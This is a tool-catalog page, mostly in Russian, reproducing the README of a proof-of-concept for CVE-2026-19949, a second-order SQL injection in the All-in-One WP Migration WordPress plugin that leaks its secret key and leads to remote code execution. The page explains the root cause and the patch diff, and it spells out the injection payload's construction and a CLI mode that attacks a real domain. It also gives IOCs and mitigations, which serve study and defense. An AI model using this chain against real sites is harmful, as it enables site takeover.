Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-AIOWPM-CVE-2026-19949 — Воспроизводимый proof-of-concept на основе Docker для CVE-2026-19949 — SQL-инъекции второго порядка в All-in-One WP Migration <= 7.109, которая раскрывает ai1wm_secret_key через анонимный REST и приводит к удалённому выполнению кода. | Kitploit
Инструменты/GitHubGitHub/686f6c61/poc-aiowpm-cve-2026-19949
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHub686f6c61/poc-aiowpm-cve-2026-19949

POC-AIOWPM-CVE-2026-19949

Воспроизводимый proof-of-concept на основе Docker для CVE-2026-19949 — SQL-инъекции второго порядка в All-in-One WP Migration <= 7.109, которая раскрывает ai1wm_secret_key через анонимный REST и приводит к удалённому выполнению кода.

РепозиторийСайт
17 ч 48 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19949 — Документированная и воспроизводимая в Docker proof-of-concept

Неаутентифицированная SQL-инъекция второго порядка в All-in-One WP Migration and Backup (WordPress), которая приводит к утечке ai1wm_secret_key и, с её помощью, к удалённому выполнению кода (RCE).

Читать на: English · Español

CVECVE-2026-19949
ПлагинAll-in-One WP Migration and Backup (ServMask), ≤ 7.109
Патч7.110 (20 августа 2026)
CVSS8.8 (Высокий) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
УсловиеАдминистратор экспортирует и восстанавливает сайт (рутинное действие с этим плагином)
ИсследовательJack Taylor (программа вознаграждений Wordfence)

⚠️ Исключительно в образовательных и защитных целях. Эта лаборатория атакует сайт WordPress, который работает на вашей собственной машине, внутри Docker-контейнеров. Не используйте её против систем, которые вам не принадлежат или на которые у вас нет явного разрешения.

Содержание

  1. Обзор уязвимости
  2. Корневая причина: regex, переворачивающий строку
  3. Патч (7.109 → 7.110)
  4. Полная цепочка атаки
  5. Производный payload (собственная разработка)
  6. Что воспроизводит и проверяет этот репозиторий
  7. Совместимость версий (проверено)
  8. Структура репозитория
  9. Требования и быстрый старт
  10. Пошаговые фазы (цели make)
  11. Демонстрационный CLI
  12. Лендинг CVE
  13. Обнаружение и смягчение
  14. Заметки об исследовании
  15. Ссылки
  16. Правовое уведомление

1. Обзор уязвимости

Поток экспорта/импорта плагина выгружает базу данных в SQL (database.sql внутри .wpress) и при импорте переписывает каждое выражение с помощью Ai1wm_Database::replace_table_values() для замены URL и префиксов таблиц. Для поиска строковых литералов используется regex:```php // 7.109 (vulnerable) — class-ai1wm-database.php:1637 preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );

root@kitploit:~
Проблема в *negative lookbehind* `(?<!\\)`: **он проверяет только один байт**
перед каждой кандидатной закрывающей кавычкой, а не подсчитывает весь *run*
обратных слешей. В дампе MySQL данные, заканчивающиеся на `\`, записываются как
`...\\'` — закрывающая кавычка, перед которой стоит **чётное** число обратных
слешей (реальная строка, заканчивающаяся обратным слешем) — но regex считает её
экранированной и **перехватывает следующий литерал**. Затем callback выполняет
`unescape_mysql → replace_serialized_values → escape_mysql` над
перехваченным значением, и этот цикл заново выдаёт несбалансированную
последовательность кавычек/обратных слешей, которая **переворачивает границу
строки MySQL** в результирующем операторе, превращая данные атакующего в
исполняемый SQL.

## 2. Корневая причина: regex, переворачивающий строку

С установленным trackback (см. §4), строка в `database.sql` выглядит так:```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);

Автор заканчивается на \ на уровне данных → дамп записывает его как \\ → закрывающая кавычка оказывается предшествующей чётному числу обратных слешей. Regex избыточно захватывает вплоть до открывающей кавычки следующего поля, и callback повторно экранирует весь набор:``` 'Jack Blogs\\',' ← contenido sobre-capturado unescape → 'Jack Blogs\',' ← strtr colapsa los pares escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena

root@kitploit:~
Начиная с этого момента, всё, что следует дальше в строке, повторно токенизируется с изменённой чётностью (данные, которые были строкой, становятся кодом и наоборот). Исправленный regex версии 7.110 обрабатывает ту же строку и возвращает её **идентичной**.

Вы можете увидеть это побайтово, ничего не эксплуатируя, с помощью `make demo-flip` (`exploit/04_demo_flip.php`), который выполняет НАСТОЯЩИЙ код плагина 7.109 и 7.110 на одной и той же строке дампа.

## 3. Патч (7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );

Новый шаблон корректно токенизирует литералы MySQL: либо символ, не являющийся кавычкой/обратным слешем, либо escape-пара \x, с possess-квантификаторами. Пара обратных слешей больше не сбивает с толку закрытие литерала.

4. Полная цепочка атаки

Цепочка, опубликованная Wordfence (сент. 2026), состоит из четырёх шагов:

  1. Внедрение (без аутентификации) — атакующий отправляет trackback'и на публичную запись с открытыми пингами (wp-trackback.php?p=<id>). Blog name (→ comment_author) заканчивается на \, а URL (→ comment_author_url) несёт payload. WordPress сохраняет их, не трогая обратный слеш. В опубликованном варианте первый trackback действует как бомба замедленного действия: он принудительно обрывает проход импорта (лимит 10 с), чтобы payload выполнился в последующем проходе, когда импортёр уже восстановил ai1wm_secret_key сайта в wp_options (экспортёр исключает её из дампа; импортёр перезаписывает её между проходами).
  2. Срабатывание (действие администратора) — администратор экспортирует и восстанавливает сайт. Во время импорта уязвимый regex переписывает строку trackback'а: граница строки переворачивается, и payload превращается в исполняемый SQL.
  3. Фильтрация — payload копирует ai1wm_secret_key в одобренный комментарий типа comment, видимый в REST API комментариев без аутентификации.
  4. RCE — admin-ajax.php?action=ai1wm_import также зарегистрирован для анонимных пользователей (wp_ajax_nopriv_ai1wm_import), и его единственный барьер — ai1wm_verify_secret_key(). С отфильтрованным ключом атакующий проводит цепочку импорта со своим .wpress, который включает mu-plugin; шаг Ai1wm_Import_Mu_Plugins (приоритет 270 в цепочке) извлекает его в wp-content/mu-plugins/ → выполнение кода при следующей загрузке.

Этот репозиторий проверяет цепочку от начала до конца с одним-единственным внедрённым trackback'ом (бомба замедленного действия не нужна в лаборатории: строка выполняется в последующем проходе после сброса ключа).

5. Производный payload (собственная разработка)

Точный эксплойт исследователя не является публичным (исчерпывающий поиск 2026-09-07: GitHub — 2 существующих репозитория — это пустой шаблон и массовый инструмент с несуществующими эндпоинтами —, Exploit-DB/PacketStorm 0, Sploitus индексирует только эти фейковые репозитории, WPScan без PoC, форумы только с новостями; криминалистические детали в research/poc-publica/ANALISIS.md).

Мы вывели его сами на основе анализа механизма (exploit/investigacion/). Дизайн:

  1. Blog name заканчивается на \ → lookbehind в один байт уязвимого regex'а перехватывает следующий литерал, и цикл unescape→escape переворачивает границу строки.
  2. После переворота URL атакующего остаётся как голый SQL-код в INSERT-выражении (слитый comment_author и строка , поглощают смещение; начальная запятая в URL восстанавливает структурный разделитель, который был поглощён).
  3. URL предоставляет 12 оставшихся выражений кортежа с hex-литералами и /**/ в качестве разделителей:
    • кавычка данных попадает в дамп как \' и в зоне кода оставила бы осиротевший обратный слеш (ошибка 1064) → отсюда hex (0x616931776d… = "ai1wm_secret_key");
    • sanitize_url удаляет пробелы (и добавляет http:// ко всему, что не начинается с /) → отсюда старт /*pwn*/ и /**/;
    • сопоставление столбцов: 5-й (comment_author_url) = подзапрос, который читает ключ → ключ оказывается в публичном поле; 11-й = 0x31 ('1', одобренный комментарий); 13-й = 0x636f6d6d656e74 ('comment', видимый в анонимной REST);
    • ) закрывает кортеж ровно с 15 значениями, а # (MySQL-комментарий без пробела, который sanitize_url сохраняет) нейтрализует остаток исходного выражения.
  4. Подзапрос ссылается на SERVMASK_PREFIX_options: импортёр переписывает префиксы SERVMASK→реальные до прохода regex'а, поэтому payload работает на сайтах с любым префиксом таблиц (проверено). Единственные специфичные для цели данные — её URL, переносимый в excerpt для срабатывания фильтра strpos импортёра (он переписывает только строки, которые его содержат).

Результирующее выражение (которое MySQL выполняет во время восстановления): comment_author_url = (SELECT option_value FROM <префикс>_options WHERE option_name='ai1wm_secret_key') — подлинный ключ оказывается в поле, которое REST API публикует без аутентификации.

6. Что воспроизводит и проверяет этот репозиторий

Шаг цепочкиСтатусГде
Воспроизводимая уязвимая установка (WP 7.1 + плагин 7.109)✅make lab
Внедрение без аутентификации через trackback (байт-точно, авто-одобрено)✅make plant
Экспорт администратора; дамп содержит внедрённую строку✅make export
Корневая причина: regex 7.109 переворачивает границу строки (в отличие от 7.110, где она цела)✅make demo-flip
Восстановление администратора: переворот переписывает SQL и повреждает/теряет строку в 7.109✅make restore
Фильтрация ключа (собственный производный payload) → реальная утечка через REST без аутентификации✅make leak
RCE: неаутентифицированный импорт с ключом → выполненный mu-plugin✅make rce-auto
Отрицательный контроль: в 7.110 строка выживает нетронутой, без утечки✅make control-7110
Матрица WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3: полная цепочка ✓ во всех✅research/test-wp-versions.sh
Полная удалённая цепочка (только HTTP, применимо к реальному домену)✅python3 cli/poc.py explotar …

Проверенный результат end-to-end: после экспорта+восстановления администратором подлинный ai1wm_secret_key появляется как author_url одобренного комментария в GET /wp-json/wp/v2/comments — без какой-либо аутентификации — и с ним выполняется фаза RCE (mu-plugin извлечён и выполнен, маркеры доказательства в wp-content/). В 7.110 строка выживает нетронутой (payload остаётся инертными данными), и утечки нет.

Фаза RCE дополнительно демонстрируется независимо: её единственный вход — ключ, который можно передать вручную (make rce KEY=…) — точное состояние атакующего после утечки.

7. Совместимость версий (проверена)

Матрица выполнена с помощью bash research/test-wp-versions.sh 7.0 6.9 6.8 (лаборатория пересобрана по версиям, плагин 7.109, идентичный payload):

WordPressplantexportrestoreleakRCE
7.1.0✓✓✓✓✓
7.0.4✓✓✓✓✓
6.9.4✓✓✓✓✓
6.8.3✓✓✓✓✓

Механика стабильна во всех: sanitize_url сохраняет payload, wp_comments содержит все 15 столбцов, а wp-trackback.php остаётся рабочим. Payload не зависит от префикса таблиц (см. §5).

8. Структура репозитория```

docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas

root@kitploit:~
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.

## 9. Requisitos y arranque rápido

Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo      # laboratorio completo de cero: lab → plant → export →
                    # restore → flip → leak → rce (todo lo anterior de una vez)

Ожидаемый вывод (кратко):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949

root@kitploit:~
Доступ к сайту жертвы: <http://localhost:8080> — admin / `admin-password-123`
(публичная запись ID 4 с пингами и открытыми комментариями).

## 10. Пошаговые фазы (цели make)```bash
make lab             # levantar/inicializar el laboratorio (plugin 7.109)
make plant           # Fase 1 — plantar el trackback (anónimo)
make export          # Fase 2a — exportar como admin
make restore         # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip       # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak            # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX    # Fase 3 — RCE pasando la clave a mano
make rce-auto        # Fase 3 — RCE encadenado con la clave filtrada
make control-7110    # control negativo con el plugin parcheado
make lab-7109        # volver al laboratorio vulnerable tras el control
make demo-cli        # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com   # detección no invasiva
make landing         # servir la landing del CVE en http://localhost:8090
make status | logs   # estado de contenedores / log de WordPress
make down | clean    # parar / parar y borrar volúmenes y artefactos

11. CLI демонстрации

Одна команда со всеми режимами; генерирует отчёты в informes/ (текст + JSON; папка находится вне репозитория, так как содержит ключи):```bash python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110) python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin) python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima) python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio

root@kitploit:~
- `lab` поднимает лабораторию, выполняет всю цепочку и контрольный
  негативный тест с 7.110, и пишет отчёт (`--sin-control` для пропуска).
- `scan` на 100 % пассивен: читает публичный `readme.txt` плагина, проверяет
  `wp-trackback.php` и REST комментариев. Возвращает вердикт.
- `verificar` повторно проверяет, появился ли ключ уже в анонимной REST (например,
  спустя часы после внедрения, когда админ сделал свой backup+restore).
- `explotar` ИНВАЗИВЕН и требует `--acepto-responsabilidad` + интерактивное
  подтверждение домена: внедряет trackback, имитирует админа
  (export → скачивание backup → повторная загрузка и restore; **только HTTP**, с
  учётными данными, которые ТЫ предоставляешь для СВОЕГО сайта), читает утёкший ключ и, с
  `--rce`, оставляет безвредный маркер через анонимный импорт. Без учётных данных
  админа: внедряет и остаётся в ожидании (`--esperar` для ожидания утечки;
  `--post-id` для выбора записи; `--no-interactivo` для скриптов).

## 12. Landing CVE

Статическая двуязычная страница (ES/EN, переключатель в шапке, предпочтение
запоминается), объясняющая CVE и payload в эстетике базы данных
уязвимостей: сводка, цепочка, **интерактивная разборка payload
сегмент за сегментом**, матрицы проверки и смягчения.```bash
make landing          # sirve http://localhost:8090

Без внешних зависимостей (ни CDN, ни сторонних JS): работает при открытии web/index.html напрямую или с любым статическим сервером.

13. Обнаружение и смягчение

  • Обновите All-in-One WP Migration and Backup до ≥ 7.110 (само смягчение — это и есть патч регулярного выражения).
  • Дополнительные защитные меры: отключите wp-trackback.php и pingbacks (опции обсуждения / WAF), ограничьте admin-ajax.php для анонимных пользователей, когда это возможно, и отслеживайте появление файлов в wp-content/mu-plugins/ и опции ai1wm_secret_key в аномальных контекстах (например, в комментариях).
  • IOC (в целях обнаружения): trackback-комментарии, у которых comment_author заканчивается на \ или comment_author_url содержит SELECT/**/, CONCAT(, длинные литералы 0x… или /*…*/; одобренные комментарии, у которых author_url — это буквенно-цифровая строка из 12 символов без схемы.

14. Примечания к исследованию

  • Вывод полезной нагрузки (exploit/investigacion/): мы исходим из обвязки (harness.php), которая загружает РЕАЛЬНЫЕ классы плагина 7.109 и выполняет конвейер против тестового MySQL с поддельным ключом. Фаззеры (search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php) исследовали критические алфавиты по четырём управляемым полям trackback; afinar_payload.php подогнал количество выражений (N=12), а test_payload_final.php подтвердил полную схему. В NOTAS.md собраны результаты анализа, включая структурные барьеры (фиксированные поля INSERT в wp_comments, sql_mode, навязываемый импортёром, фильтр strpos для URL сайта).
  • Реального публичного эксплойта нет (research/poc-publica/ANALISIS.md): оба репозитория GitHub, заявляющих о его наличии, используют несуществующие эндпоинты (aio-migration/v1 с permission_callback вместо реального ai1wm/v1), неверное поле загрузки (file вместо upload_file), формат ZIP вместо .wpress и циклическую предпосылку. Ни один сторонний источник не имеет собственного PoC.
  • Публичный эксплойт этой PoC выведен из механизма, а не скопирован у кого-либо: это независимая проверка того, что цепочка, опубликованная Wordfence, эксплуатируема именно так, как описано.

15. Ссылки

  • Wordfence — 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin (сентябрь 2026)
  • Запись CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-19949
  • WPScan — All-in-One WP Migration and Backup < 7.110 — Unauthenticated Second-Order SQLi — https://wpscan.com/vulnerability/03fc9f1a-5199-40fa-960d-75a266eb7e95/
  • Патч 7.110: https://downloads.wordpress.org/plugin/all-in-one-wp-migration.7.110.zip (diff уязвимая→исправленная версия находится в lib/vendor/servmask/database/ class-ai1wm-database.php:1637; извлечённые исходники лежат в plugin-src/, не публикуются)

16. Правовое уведомление

Этот материал публикуется в образовательных и защитных целях: понять уязвимость, проверить патч и построить механизмы обнаружения. Цепочка выполнялась только против собственных Docker-лабораторий. Атака на системы третьих лиц без письменного разрешения незаконна в большинстве юрисдикций. Если вы администрируете затронутые сайты: обновитесь до ≥ 7.110, смените ai1wm_secret_key (деактивируйте/активируйте плагин или удалите опцию, чтобы она перегенерировалась) и проверьте wp-content/mu-plugins/ и недавние комментарии.

Скачать инструмент